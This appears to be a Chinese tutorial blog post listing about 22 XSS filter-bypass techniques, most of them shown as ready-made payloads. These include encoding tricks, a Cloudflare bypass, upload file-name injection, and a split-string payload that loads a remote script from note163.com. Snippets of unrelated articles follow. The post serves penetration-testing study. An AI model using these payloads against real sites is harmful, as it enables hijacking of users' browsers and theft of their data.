跨站脚本攻击漏洞XSS绕过22种方式总结

XSS漏洞简介

跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。要想学习好XSS,需要重点对WEB应用有一个比较深入的了解,对后端防护规则需要有一个大概的了解,才能在渗透测试中游刃有余,在实际的渗透测试场景中,XSS在大多数情况都是增加了防护规则的,下面就介绍一下常见的XSS绕过的思路,仅仅提供思路,更多的还是需要大家对于漏洞的理解。
在这里插入图片描述

前端过滤

burp抓包改包绕过:
通过抓响应包,然后直接删除掉里面的JS校验的代码,核心让JS校验不起作用。
记住一句话: 前端校验等于没有校验。真正的校验还是得后端做。

双写绕过

核心掌握为什么要这样双写。需要知道后端校验的意图。

<scri<script>pt>alert(111)</scri<script>pt>

事件绕过

如:onclick、onmousemove、onblur、oninput事件
主打的就是绕黑名单

onmouseover="alert('miracle')"
onblur=alert(11)
oninput=alert(22)

大小写绕过

主要就是看后端正则校验是否区分了大小写。

<SCRIPT>aLeRT(111)</sCRIpt>

注释干扰绕过

主要还是和正则做对抗:思路思路

<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

伪协议绕过

这个就要分析源码看有没有相关的属性了,有就可以尝试。

111"> <a href="javascript:alert(9527)">xss</a>< table background= "javascript:alert(9526)"> </table><img srC= "javascript:alert(9528);" >

空格回车Tab绕过

主要和正则对抗:

空格:<img src= "javascript:alert(9527);" >TAB:< img src= "javasc :ript:alert(9528);" >回车:< img src= "javascript:alert('xss');" >

编码绕过

编码绕过的本质就是需要了解编码的发展史,当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。

base64编码:

如果过滤了 < > ' " script,可以用base64编码eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
<script> eval(atob('YWxlcnQoOTUyNyk='));</script>base64编码多用于如下两种情况:
1. <a href= "可控点">
2. < iframe src= "可控点">举例:
<a href= "data:text/html;base64,PGltZyBzcmM9eCDOv25lcnLOv3I9IGFsZXJ0KDk1MjYpPg==">xxx</a>
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的<img src=x οnerrοr= alert(9526)>

JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"

十六进制:

两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(9527);\x3c/script\x3e

unicode:

四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(9528);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"&#60;"
<img src="1" οnerrοr= "al&#101;r&#116;(1)">
浏览器是不会在html标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么

URL编码:

进行两次URL全编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

CSS绕过

利用IE特性绕过XSS过滤:

IE中两个反单引号 `` 可以闭合一个左边双引号

``οnmοusemοve= alert(1)

利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(9527);");低版本IE浏览器6 10 D版本弹窗成功

IE中利用CSS触发xss:

CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(9528);window.x= 1;})

过滤空格

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

字符拼接

利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">利用top
<img src="x" onerror="top['al'+'ert'](1)">利用window
<img src="x" onerror="window['al'+'ert'](1)">利用self
<img src="x" onerror="self[`al`+`ert`](1)">利用parent
<img src="x" onerror="parent[`al`+`ert`](1)">利用frames
<img src="x" onerror="frames[`al`+`ert`](1)">

其它字符混淆

<<script>alert("xss");//<</script><title><img src=</title>><img src=x onerror="alert(`9526`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

过滤双引号,单引号

用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

alert 过滤

prompt 替换
<script>prompt(9527)</script>confirm 替换
<script>confirm(9528)</script>console.log 替换
<script>console.log(3306)</script>document.write 替换
<script>document.write(8080)</script>base64 绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

常用函数

<img src="x" onerror="eval(alert(1))"><img src="x" onerror="open(alert(1))"><img src="x" onerror="document.write(alert(1))"><img src="x" onerror="setTimeout(alert(1))"><img src="x" onerror="setInterval(alert(1))"><img src="x" onerror="Set.constructor(alert(1))"><img src="x" onerror="Map.constructor(alert(1))"><img src="x" onerror="Array.constructor(alert(1))"><img src="x" onerror="WeakSet.constructor(alert(1))"><img src="x" onerror="constructor.constructor(alert(1))"><img src="x" onerror="[1].map(alert(1))"><img src="x" onerror="[1].find(alert(1))"><img src="x" onerror="[1].every(alert(1))"><img src="x" onerror="[1].filter(alert(1))"><img src="x" onerror="[1].forEach(alert(1))"><img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)><img src x=al y=ert onerror=top[x+y](1)><img src onerror=top[a='al',b='ev',b+a]('alert(1)')><img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过

<script>a='document.write("'</script><script>a=a+'<script src=ht'</script><script>a=a+'tp://note163.com/xs'</script><script>a=a+'s.js></script>")'</script><script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://note163.com/xss.js></script>")

上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(443)</script>.gif/png

XSS绕过cloudflare

Payload:

<svg onload=alert&#0000000040document.domain)>

XSS绕过过滤

Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(6379)>

XSS(上传图片)

<img src=x onerror=alert('XSS')>.png "><img src=x οnerrοr=alert('XSS')>.png "><svg onmouseover=alert(1)>.svg<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
以上就是XSS绕过的思路总结啦,借鉴了很多前辈的思路!非常🙏!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/595815.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

企业数据存储监控

随着组织及其网络基础架构的不断扩展&#xff0c;存储将不可避免地成为一项挑战&#xff0c;随着存储需求的增长&#xff0c;调配更多存储资源的需求也会随之增长。为基础架构配置了更多存储资源后&#xff0c;它们需要不间断地运行&#xff0c;并且应该免受威胁。从本质上讲&a…

Syn_SegNet:用于常规 3T MRI 中超高场 7T MRI 合成和海马亚场分割的联合深度神经网络

Syn_SegNet: A Joint Deep Neural Network for Ultrahigh-Field 7T MRI Synthesis and Hippocampal Subfield Segmentation in Routine 3T MRI Syn_SegNet&#xff1a;用于常规 3T MRI 中超高场 7T MRI 合成和海马亚场分割的联合深度神经网络背景贡献实验为了确定哪个模态分割最…

list1.Sort((m, n) => m.Id - n.Id); id是double类型的为什么回报错

问题产生的地方 原因 对于 double 类型的属性&#xff0c;不能直接使用减法运算符进行比较。减法运算符只能用于数值类型&#xff0c;而 double 是浮点数类型。 要在 double 属性上进行排序&#xff0c;可以使用 CompareTo 方法或者使用自定义的比较器。 更改 要在 double 属性…

K8s 源码剖析及debug实战之 Kube-Scheduler(五):优选算法详解

文章目录 0. 引言1. 回顾2. PrioritizeNodes3. 有哪些优选算法4. selectHost5. 总结6. 参考 0. 引言 欢迎关注本专栏&#xff0c;本专栏主要从 K8s 源码出发&#xff0c;深入理解 K8s 一些组件底层的代码逻辑&#xff0c;同时借助 debug Minikube 来进一步了解 K8s 底层的代码…

鸿蒙应用中图片的显示(Image组件)

目录 1、加载图片资源 1.1、存档图类型数据源 a.本地资源 b.网络资源 c.Resource资源 d.媒体库file://data/storage e.base64 1.2、多媒体像素图片 2、显示矢量图 3、添加属性 3.1、设置图片缩放类型 3.2、设置图片重复样式 3.3、设置图片渲染模式 3.4、设置图…

Go语言基本数据类型

Go语言基本数据类型 1.整型2.浮点型3.复数4.布尔型5.字符串窥探字符串类型字符串内建函数UTF-8编码字符串处理相关的四个包字符串和数字的转换 6.常量 1.整型 Go语言同时提供了有符号和无符号类型的整数运算。这里有int8、int16、int32和int64四种截然不同大小的有符号整数类型…

基于springboot公租房申请管理系统

开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09; 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven…

柯桥小语种学习,留学韩语 生活日常口语 语法

① N이다/A/V/았ㄹ/을지도 모르다 说不定 이미 도착했을 지도 모르니까 전화해 봐요 说不定已经到了&#xff0c;打电话试试 주말에 세일이 있을지도 모르니까 주말에 가 보자 周末说不定会搞活动&#xff0c;我们周末去吧 ② ㄴ/은/는/았었는/ㄹ/을지 모르다 不知道 처음이…

【webstorm中通过附加方式打开一个项目,这个项目本身有git,但是却看不到git的解决方法】

1、如图所示 设置-》版本控制-》未注册的根&#xff0c;选中后&#xff0c;再点加号&#xff0c;就可以了 2、如图所示 版本控制-》直接点加号-》选中项目路径&#xff0c;vcs选择git&#xff0c;点击确定就可以了

prometheus grafana mysql监控配置使用

文章目录 前传bitnami/mysqld-exporter:0.15.1镜像出现了问题.my.cnf可以用这个"prom/mysqld-exporter:v0.15.0"镜像重要的事情mysql监控效果外传 前传 prometheus grafana的安装使用&#xff1a;https://nanxiang.blog.csdn.net/article/details/135384541 本文说…

【电商项目实战】沙箱支付模拟支付功能

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《电商项目实战》。&#x1f3af;&#x1f3af; &am…

芯片SIC8833可开发打气泵方案

无线车载打气泵方案由一块PCBA板集成其所需的功能&#xff0c;其充气原理是发动机通过两根三角带驱动气泵曲轴&#xff0c;进而驱动活塞进行打气&#xff0c;打出的气体通过导气管导入储气筒。另一方面储气筒又通过一根导气管将储气筒内的气体导入固定在气泵上的调压阀内&#…

ClickHouse基础知识(四):ClickHouse 引擎详解

1. 表引擎的使用 表引擎是 ClickHouse 的一大特色。可以说&#xff0c; 表引擎决定了如何存储表的数据。包括&#xff1a; ➢ 数据的存储方式和位置&#xff0c;写到哪里以及从哪里读取数据。 默认存放在/var/lib/clickhouse/data ➢ 支持哪些查询以及如何支持。 ➢ 并发数…

6.vue学习笔记(style绑定+监听器+表单的输入绑定)

文章目录 1.style绑定2.监听器3.表单的输入绑定3.1.复选框3.2.修饰符3.2.1 .lazy 1.style绑定 数据绑定的一个常见需求场景是操纵元素的 CSS style列表&#xff0c;因为style是attribute&#xff0c;我们可以和其他attribute一样使用v-bind将它们和动态字符串绑定。 但是&…

vue-cli创建项目时由esLint校验导致报错或警告的问题及解决

vue-cli创建项目时由esLint校验导致报错或警告的问题及解决 一、万能办法 一、万能办法 //就是在报错的JS文件中第一行写上 /* eslint-disable */链接: https://www.yii666.com/blog/288808.html 其它的方法我遇见了再补充

快速搭建知识付费小程序,3分钟即可开启知识变现之旅

产品服务 线上线下课程传播 线上线下活动管理 项目撮合交易 找商机找合作 一对一线下交流 企业文化宣传 企业产品销售 更多服务 实时行业资讯 动态学习交流 分销代理推广 独立知识店铺 覆盖全行业 个人IP打造 独立小程序 私域运营解决方案 公域引流 营销转化 …

深度学习基础知识神经网络

神经网络 1. 感知机 感知机&#xff08;Perceptron&#xff09;是 Frank Rosenblatt 在1957年提出的概念&#xff0c;其结构与MP模型类似&#xff0c;一般被视为最简单的人工神经网络&#xff0c;也作为二元线性分类器被广泛使用。通常情况下指单层的人工神经网络&#xff0c…

ModuleNotFoundError: No module named ‘numpy.testing.decorators‘

文章目录 报错信息报错原因解决方案 关注公众号&#xff1a;『AI学习星球』 算法学习、4对1辅导、论文辅导或核心期刊可以通过公众号或➕v&#xff1a;codebiubiubiu滴滴我 报错信息 ModuleNotFoundError: No module named numpy.testing.decorators 报错原因 新版本已经去…

how2heap-2.23-03-fastbin_dup_consolidate

#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h>int main() {void* p1 malloc(0x10);strcpy(p1, "AAAAAAAA");void* p2 malloc(0x10);strcpy(p2, "BBBBBBBB");fprintf(stderr, "申请两个…

手机怎么边看视频边记笔记或备忘录?

在这个信息爆炸的时代&#xff0c;我们经常需要通过看培训视频、听网课来不断充实自己。但是&#xff0c;手机屏幕那么小&#xff0c;如何才能在做笔记的同时&#xff0c;又不错过视频的每一个细节呢&#xff1f; 以前&#xff0c;我总是为此头疼。一手拿着手机看视频&#xf…